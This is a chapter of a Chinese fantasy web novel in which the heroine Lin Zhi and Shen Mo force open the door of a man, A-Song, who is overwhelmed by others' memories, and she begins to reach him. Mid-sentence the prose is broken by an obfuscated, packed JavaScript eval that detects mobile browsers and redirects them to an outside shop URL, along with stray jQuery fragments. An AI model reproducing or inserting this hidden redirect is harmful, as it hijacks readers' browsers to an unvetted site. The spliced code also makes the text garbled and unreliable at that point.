中午，林栀和沈默清完半条街的记忆结晶回来，吃完午饭后，林栀正在窗台前坐着。
灰光落在她膝盖上，她手里捧着沈默那只旧搪瓷缸，里面的水已经不烫了，但她没有放下。窗台上那支枯草的青色已经蔓延到了草茎中部，像一条正在慢慢走完的路。
她听到门外有人敲门。
不是老魏那种随意的拍门，是很急的叩门声，像有人站在门外犹豫了很久，终于下定决心把拳头捶了上去。她放下搪瓷缸走到门口的时候，沈默已经先一步拉开了门。
门口站着一个年轻女人，看起来不到三十岁，外套扣子扣错了两颗，头发散着，眼眶通红，像是哭过但没来得及擦干。
她看到沈默的时候愣了一下，但越过他肩膀看到林栀之后，嘴唇翕动了两下才发出声音：“你是住四楼的清音者吗？”
林栀走到门口：“是我。”
那女人的眼眶又红了一层，声音开始抖了：“我哥……我哥他快不行了。”她说，“他在东街住，三天前脑子里的声音突然变大了，他把自己关在屋里不出来了。他以前吃药还能压住，但这次压不住了，他把自己关起来了，谁敲门都不开。”
她哭的一抽一抽的：“有人说这里住了一个女孩能帮人清掉那些东西，我知道这很冒昧，但是求求你，你能不能去看看他？”
林栀站在门口，没有立刻回答。她看着那女人扣错了的外套和通红的眼眶，想起自己第一天醒来时脑子里的那种拥挤感，像无数只手在同时扒拉她的脑仁。一个人被那些声音塞满的时候，确实会想把自己关起来。
“他把自己关了多久了？”
“三天了。”女人说，“我们隔着门跟他说话，他能听到，但不回答，他只会说‘别吵了’。”
林栀看了一眼沈默。沈默没有说好或不好，但他在门框上靠了一下，像在说“我陪你”。
林栀转回来看那个女人：“我去看看。”
她拿起门口的外套披上，跟着那个女人走下了楼。沈默跟在后面，步子不紧不慢，像他已经习惯了她走到哪里他都会跟着走一程。
东街角落那间屋子门口站着两个人。
一个是年长的男人，四十多岁，穿着旧工装，手粗糙，站在门口正抬手敲门，指节落在门板上，沉闷的声响在灰雾里传不远。另一个年轻一些，靠在墙边，双手插在口袋里，表情说不上冷，但也不热，像是在等一件他不太相信会有结果的事。
那个女人跑过去，对年长的男人说了句什么，指了指林栀的方向。年长的男人转过脸来，他的表情比她更急，但声音稳得住：“就是她？”
“嗯。”
他侧身让开了门口的位置，声音压低了一些：“求求您小姐，我弟弟在里面待了三天了。我们没有钥匙，他把锁芯换了。”他继续解释，“我们怕他出事，但也不敢强行破门，怕他受刺激。”
年轻的那个听到这里，从墙边直起身，目光在林栀身上停了一下：“哥，你真让她进去？你知道上次那个人也是这样说的，结果呢？”
年长的男人没有回头，怒喝：“阿海，你少说两句！”
“我说的不对吗？”阿海的声音没有压低，“上次来的那个人也说是清音者，拿了钱进去十分钟，出来就说‘太深了清不了’，然后人就走了。哥，你想让阿松再被人折腾一次？他快不行了.......”
年长的男人立马扯着他的手臂往后拉，不让他继续说话。
林栀站在门口，没有急着进门，她先听了一会儿。
阿海的声音里有火气，但那火气底下有一层别的东西。他不是在反对救他哥，他是在怕，怕再一次希望落空，怕他哥在被人碰了之后变得更糟，怕那个已经快撑不住的人被最后一根稻草压垮。
她看了阿海一眼：“上次来的人收钱了？”
阿海噎了一下：“……收了。”
“我这次不收。”林栀说，“如果我清不了，我不会碰他，我只看看他现在是什么状态。”
阿海没有说话，但他也没有再拦。
年长的男人站在门边，沉默了片刻，声音有些哽咽：“您进去吧，不管能不能清，能看一眼也行。”
他的声音像一块被反复敲打的石头，表面是硬的，底下的纹路已经裂了。
林栀走到门口，伸手碰了一下门板。她没急着敲门，她先把手掌贴上去，感受那层薄薄的震动从门板传到指尖。
那扇门后面很安静。不是没有人气的安静，是那种“人在里面但没有力气发出声音”的安静。她能感觉到那些东西，它们不吵，它们太沉了，沉到连声音都发不出来了。
“他还在里面。”她说，“没事。”
阿海站在几步外，没有走近。他看到林栀把手贴在门板上闭着眼的样子，目光在她脸上停了一下，像是在确认什么，然后偏开了。
年长的男人从口袋里掏出一把旧钥匙：“备用的打不开，他把锁芯换了。”
“那就破门。”林栀说。
“破门？”阿海的声音又抬了起来，“万一阿松受到惊吓一下子......”
“里面的人现在情绪很混乱，他动不了。”沈默从林栀身后走上来，站到那扇门前，伸手敲了两下门板。他落得很轻，不像敲门，像给里面的人一个信号：我来了，我在这里。
然后他退后半步，侧过头看了一眼年长的男人，“破门吧。”
阿海刚要再说什么，年长的男人已经推开他，抬脚用力踹了上去。门板发出一声闷响，纹丝不动，他又踹了一脚，门轴开始松动，第三脚上去的时候门板猛地一震，锁舌从门框里脱了出来。
灰光从门缝里涌出来，像一层闷了很久的气终于找到了出口。但那股光很薄，透不过那间屋子深处堆积的暗。
门被推开了。
屋子里面很暗，暗得像一间没有窗的地下室。旧报纸糊死了窗户，灰光只能从纸缝里挤进来，在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730080|208738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
墙角和地面上投下几道细长的亮线。空气很闷，不臭，但有一股酸涩的、像放久了的旧衣物被体温反复蒸过的气味。
一个人缩在墙角。
他背靠着墙，双手抱着头，膝盖蜷到胸口，像一个把自己叠成了最小形状的人。他的头发很长了，乱蓬蓬的盖住了大半张脸，只露出一小截下巴，嘴唇干裂，裂口处渗着干涸的血痕。
他听到门开了，但他没有抬头，他的嘴在动，但发出来的声音含混不清，像含着一块石头在说话。
“……别进来……你们进来会听到的……你们别进来……”
林栀站在门口，没有立刻走进去。她在门槛外面停了一下，先感受了那间屋子的气息。
那团东西压在屋子里的每一个角落，比沈默的碎片更稠，比郑叔的胶卷更没有形状，比陈小玉那扇门更密不透风。
它不是一团，也不是一扇门，它像是一整片正在往下沉的泥沼，所有的记忆都混在一起，分不清哪些是他的，哪些是别人落进来的。他已经被那团东西淹到了下巴，只留了一小截还在水面上喘气。
年长的男人站在门口，看到阿松这模样早已心痛的不行，“……他以前不是这样的。”
阿海站在更远的地方，死死盯着角落里的那个人影，手紧紧握紧，眼泪不自觉的流出来了。
林栀跨过门槛，在墙角蹲下来。她没有着急，先平视着他，没有碰他，只是蹲在他面前：“你好，我叫林栀。”
他没有反应，嘴里还在含混地念着“……别吵了……你们别吵了”。
她又等了一会儿。
“……你叫什么名字？”
他顿了一下。像是很久没有人问过他这个问题了。他的嘴唇动了一下，没有发出声音，他张了张嘴，手指从头发里松开了半寸，露出半只眼睛。那只眼睛是浑的，瞳孔涣散，像一池被搅浑了的水。
他看了她一眼，然后又把脸埋回了手掌里，含混的声音从指缝里渗出来：“……我不知道。”
他说“我不知道”的时候，声音是很轻的，不是那种应付的“我不告诉你”，是他真的不知道。
林栀蹲在他面前，没有说“你怎么会不知道”，也没有说“没关系我帮你找”。她只是又等了一会儿，然后轻声说：“你身上有很多人的声音，但你自己那个还在，只不过它在最底下。”
她把掌心摊开，放在他面前的灰光里：“如果你愿意的话，可以把你的手放在我手上。”
他看了她很久。
然后他慢慢把手从头发里抽了出来，搭在了她的掌心上。他的手指又凉又瘦，腕骨的轮廓清晰可辨，像一件已经被磨损了很久的东西。她合拢手指握住他的手，然后闭上了眼。
那团东西涌了过来。
它比她在门外感觉到的更稠，更像一片正在往下沉的泥沼，所有的记忆碎片都混在一起，已经分不清边界了。
她在那些东西里摸不到头，也摸不到尾。